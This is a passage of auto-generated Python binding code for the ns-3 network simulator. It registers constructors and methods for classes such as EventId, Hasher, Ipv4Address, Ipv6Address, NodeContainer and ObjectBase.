ns3::EventId::EventId(ns3::EventId const & arg0) [copy constructor] cls.add_constructor([param('ns3::EventId const &', 'arg0')]) ## event-id.h (module 'core'): ns3::EventId::EventId() [constructor] cls.add_constructor([]) ## event-id.h (module 'core'): ns3::EventId::EventId(ns3::Ptr<ns3::EventImpl> const & impl, uint64_t ts, uint32_t context, uint32_t uid) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::EventImpl > const &', 'impl'), param('uint64_t', 'ts'), param('uint32_t', 'context'), param('uint32_t', 'uid')]) ## event-id.h (module 'core'): void ns3::EventId::Cancel() [member function] cls.add_method('Cancel', 'void', []) ## event-id.h (module 'core'): uint32_t ns3::EventId::GetContext() const [member function] cls.add_method('GetContext', 'uint32_t', [], is_const=True) ## event-id.h (module 'core'): uint64_t ns3::EventId::GetTs() const [member function] cls.add_method('GetTs', 'uint64_t', [], is_const=True) ## event-id.h (module 'core'): uint32_t ns3::EventId::GetUid() const [member function] cls.add_method('GetUid', 'uint32_t', [], is_const=True) ## event-id.h (module 'core'): bool ns3::EventId::IsExpired() const [member function] cls.add_method('IsExpired', 'bool', [], is_const=True) ## event-id.h (module 'core'): bool ns3::EventId::IsRunning() const [member function] cls.add_method('IsRunning', 'bool', [], is_const=True) ## event-id.h (module 'core'): ns3::EventImpl * ns3::EventId::PeekEventImpl() const [member function] cls.add_method('PeekEventImpl', 'ns3::EventImpl *', [], is_const=True) return def register_Ns3Hasher_methods(root_module, cls): ## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Hasher const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hasher const &', 'arg0')]) ## hash.h (module 'core'): ns3::Hasher::Hasher() [constructor] cls.add_constructor([]) ## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Ptr<ns3::Hash::Implementation> hp) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::Hash::Implementation >', 'hp')]) ## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')]) ## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(std::string const s) [member function] cls.add_method('GetHash32', 'uint32_t', [param('std::string const', 's')]) ## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')]) ## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(std::string const s) [member function] cls.add_method('GetHash64', 'uint64_t', [param('std::string const', 's')]) ## hash.h (module 'core'): ns3::Hasher & ns3::Hasher::clear() [member function] cls.add_method('clear', 'ns3::Hasher &', []) return def register_Ns3Ipv4Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(ns3::Ipv4Address const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4Address const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(uint32_t address) [constructor] cls.add_constructor([param('uint32_t', 'address')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(char const * address) [constructor] cls.add_constructor([param('char const *', 'address')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::CombineMask(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('CombineMask', 'ns3::Ipv4Address', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::Ipv4Address', [param('ns3::Address const &', 'address')], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::Deserialize(uint8_t const * buf) [member function] cls.add_method('Deserialize', 'ns3::Ipv4Address', [param('uint8_t const *', 'buf')], is_static=True) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Address::Get() const [member function] cls.add_method('Get', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetAny() [member function] cls.add_method('GetAny', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetBroadcast() [member function] cls.add_method('GetBroadcast', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::GetSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('GetSubnetDirectedBroadcast', 'ns3::Ipv4Address', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsBroadcast() const [member function] cls.add_method('IsBroadcast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsEqual(ns3::Ipv4Address const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv4Address const &', 'other')], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsLocalMulticast() const [member function] cls.add_method('IsLocalMulticast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): static bool ns3::Ipv4Address::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('IsSubnetDirectedBroadcast', 'bool', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Serialize(uint8_t * buf) const [member function] cls.add_method('Serialize', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(uint32_t address) [member function] cls.add_method('Set', 'void', [param('uint32_t', 'address')]) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(char const * address) [member function] cls.add_method('Set', 'void', [param('char const *', 'address')]) return def register_Ns3Ipv4Mask_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(ns3::Ipv4Mask const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4Mask const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(uint32_t mask) [constructor] cls.add_constructor([param('uint32_t', 'mask')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(char const * mask) [constructor] cls.add_constructor([param('char const *', 'mask')]) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::Get() const [member function] cls.add_method('Get', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::GetInverse() const [member function] cls.add_method('GetInverse', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): uint16_t ns3::Ipv4Mask::GetPrefixLength() const [member function] cls.add_method('GetPrefixLength', 'uint16_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsEqual(ns3::Ipv4Mask other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv4Mask', 'other')], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsMatch(ns3::Ipv4Address a, ns3::Ipv4Address b) const [member function] cls.add_method('IsMatch', 'bool', [param('ns3::Ipv4Address', 'a'), param('ns3::Ipv4Address', 'b')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Set(uint32_t mask) [member function] cls.add_method('Set', 'void', [param('uint32_t', 'mask')]) return def register_Ns3Ipv6Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(char const * address) [constructor] cls.add_constructor([param('char const *', 'address')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(uint8_t * address) [constructor] cls.add_constructor([param('uint8_t *', 'address')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const & addr) [copy constructor] cls.add_constructor([param('ns3::Ipv6Address const &', 'addr')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const * addr) [constructor] cls.add_constructor([param('ns3::Ipv6Address const *', 'addr')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6Address::CombinePrefix(ns3::Ipv6Prefix const & prefix) [member function] cls.add_method('CombinePrefix', 'ns3::Ipv6Address', [param('ns3::Ipv6Prefix const &', 'prefix')]) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::Ipv6Address', [param('ns3::Address const &', 'address')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::Deserialize(uint8_t const * buf) [member function] cls.add_method('Deserialize', 'ns3::Ipv6Address', [param('uint8_t const *', 'buf')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllHostsMulticast() [member function] cls.add_method('GetAllHostsMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllNodesMulticast() [member function] cls.add_method('GetAllNodesMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllRoutersMulticast() [member function] cls.add_method('GetAllRoutersMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAny() [member function] cls.add_method('GetAny', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::GetBytes(uint8_t * buf) const [member function] cls.add_method('GetBytes', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv6Address::GetIpv4MappedAddress() const [member function] cls.add_method('GetIpv4MappedAddress', 'ns3::Ipv4Address', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllHostsMulticast() const [member function] cls.add_method('IsAllHostsMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllNodesMulticast() const [member function] cls.add_method('IsAllNodesMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllRoutersMulticast() const [member function] cls.add_method('IsAllRoutersMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAny() const [member function] cls.add_method('IsAny', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsDocumentation() const [member function] cls.add_method('IsDocumentation', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsEqual(ns3::Ipv6Address const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv6Address const &', 'other')], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsIpv4MappedAddress() const [member function] cls.add_method('IsIpv4MappedAddress', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocal() const [member function] cls.add_method('IsLinkLocal', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocalMulticast() const [member function] cls.add_method('IsLinkLocalMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLocalhost() const [member function] cls.add_method('IsLocalhost', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): static bool ns3::Ipv6Address::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsSolicitedMulticast() const [member function] cls.add_method('IsSolicitedMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac16Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac16Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac48Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac48Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac64Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac64Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac16Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac16Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac48Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac48Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac64Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac64Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeIpv4MappedAddress(ns3::Ipv4Address addr) [member function] cls.add_method('MakeIpv4MappedAddress', 'ns3::Ipv6Address', [param('ns3::Ipv4Address', 'addr')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeSolicitedAddress(ns3::Ipv6Address addr) [member function] cls.add_method('MakeSolicitedAddress', 'ns3::Ipv6Address', [param('ns3::Ipv6Address', 'addr')], is_static=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Serialize(uint8_t * buf) const [member function] cls.add_method('Serialize', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(char const * address) [member function] cls.add_method('Set', 'void', [param('char const *', 'address')]) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(uint8_t * address) [member function] cls.add_method('Set', 'void', [param('uint8_t *', 'address')]) return def register_Ns3Ipv6Prefix_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t * prefix) [constructor] cls.add_constructor([param('uint8_t *', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(char const * prefix) [constructor] cls.add_constructor([param('char const *', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t prefix) [constructor] cls.add_constructor([param('uint8_t', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const & prefix) [copy constructor] cls.add_constructor([param('ns3::Ipv6Prefix const &', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const * prefix) [constructor] cls.add_constructor([param('ns3::Ipv6Prefix const *', 'prefix')]) ## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::GetBytes(uint8_t * buf) const [member function] cls.add_method('GetBytes', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): uint8_t ns3::Ipv6Prefix::GetPrefixLength() const [member function] cls.add_method('GetPrefixLength', 'uint8_t', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsEqual(ns3::Ipv6Prefix const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv6Prefix const &', 'other')], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsMatch(ns3::Ipv6Address a, ns3::Ipv6Address b) const [member function] cls.add_method('IsMatch', 'bool', [param('ns3::Ipv6Address', 'a'), param('ns3::Ipv6Address', 'b')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) return def register_Ns3NetDeviceContainer_methods(root_module, cls): ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::NetDeviceContainer const & arg0) [copy constructor] cls.add_constructor([param('ns3::NetDeviceContainer const &', 'arg0')]) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer() [constructor] cls.add_constructor([]) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::Ptr<ns3::NetDevice> dev) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::NetDevice >', 'dev')]) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(std::string devName) [constructor] cls.add_constructor([param('std::string', 'devName')]) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::NetDeviceContainer const & a, ns3::NetDeviceContainer const & b) [constructor] cls.add_constructor([param('ns3::NetDeviceContainer const &', 'a'), param('ns3::NetDeviceContainer const &', 'b')]) ## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(ns3::NetDeviceContainer other) [member function] cls.add_method('Add', 'void', [param('ns3::NetDeviceContainer', 'other')]) ## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(ns3::Ptr<ns3::NetDevice> device) [member function] cls.add_method('Add', 'void', [param('ns3::Ptr< ns3::NetDevice >', 'device')]) ## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(std::string deviceName) [member function] cls.add_method('Add', 'void', [param('std::string', 'deviceName')]) ## net-device-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::NetDevice>*,std::vector<ns3::Ptr<ns3::NetDevice>, std::allocator<ns3::Ptr<ns3::NetDevice> > > > ns3::NetDeviceContainer::Begin() const [member function] cls.add_method('Begin', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::NetDevice > const, std::vector< ns3::Ptr< ns3::NetDevice > > >', [], is_const=True) ## net-device-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::NetDevice>*,std::vector<ns3::Ptr<ns3::NetDevice>, std::allocator<ns3::Ptr<ns3::NetDevice> > > > ns3::NetDeviceContainer::End() const [member function] cls.add_method('End', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::NetDevice > const, std::vector< ns3::Ptr< ns3::NetDevice > > >', [], is_const=True) ## net-device-container.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::NetDeviceContainer::Get(uint32_t i) const [member function] cls.add_method('Get', 'ns3::Ptr< ns3::NetDevice >', [param('uint32_t', 'i')], is_const=True) ## net-device-container.h (module 'network'): uint32_t ns3::NetDeviceContainer::GetN() const [member function] cls.add_method('GetN', 'uint32_t', [], is_const=True) return def register_Ns3NodeContainer_methods(root_module, cls): ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & arg0) [copy constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'arg0')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer() [constructor] cls.add_constructor([]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::Ptr<ns3::Node> node) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::Node >', 'node')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(std::string nodeName) [constructor] cls.add_constructor([param('std::string', 'nodeName')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d, ns3::NodeContainer const & e) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd'), param('ns3::NodeContainer const &', 'e')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::NodeContainer other) [member function] cls.add_method('Add', 'void', [param('ns3::NodeContainer', 'other')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('Add', 'void', [param('ns3::Ptr< ns3::Node >', 'node')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(std::string nodeName) [member function] cls.add_method('Add', 'void', [param('std::string', 'nodeName')]) ## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::Begin() const [member function] cls.add_method('Begin', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >', [], is_const=True) ## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n) [member function] cls.add_method('Create', 'void', [param('uint32_t', 'n')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n, uint32_t systemId) [member function] cls.add_method('Create', 'void', [param('uint32_t', 'n'), param('uint32_t', 'systemId')]) ## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::End() const [member function] cls.add_method('End', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >', [], is_const=True) ## node-container.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NodeContainer::Get(uint32_t i) const [member function] cls.add_method('Get', 'ns3::Ptr< ns3::Node >', [param('uint32_t', 'i')], is_const=True) ## node-container.h (module 'network'): static ns3::NodeContainer ns3::NodeContainer::GetGlobal() [member function] cls.add_method('GetGlobal', 'ns3::NodeContainer', [], is_static=True) ## node-container.h (module 'network'): uint32_t ns3::NodeContainer::GetN() const [member function] cls.add_method('GetN', 'uint32_t', [], is_const=True) return def register_Ns3ObjectBase_methods(root_module, cls): ## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase() [constructor] cls.add_constructor([]) ## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase(ns3::ObjectBase const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectBase const &', 'arg0')]) ## object-base.h (module 'core'): void ns3::ObjectBase::GetAttribute(std::string name, ns3::AttributeValue & value) const [member function] cls.add_method('GetAttribute', 'void', [param('std::string', 'name'), param('ns3::AttributeValue &', 'value')], is_const=True) ## object-base.h (module 'core'): bool ns3::ObjectBase::GetAttributeFailSafe(std::string name, ns3::AttributeValue & attribute) const [member function] cls.add_method('GetAttributeFailSafe', 'bool', [param('std::string', 'name'), param('ns3::AttributeValue &', 'attribute')], is_const=True) ## object-base.h (module 'core'): ns3::TypeId ns3::ObjectBase::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## object-base.h (module 'core'): static ns3::TypeId ns3::ObjectBase::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## object-base.h (module 'core'): void ns3::ObjectBase::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('SetAttribute', 'void', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::SetAttributeFailSafe(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('SetAttributeFailSafe', 'bool', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceConnect', 'bool', [param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceConnectWithoutContext', 'bool', [param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceDisconnect', 'bool', [param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function] 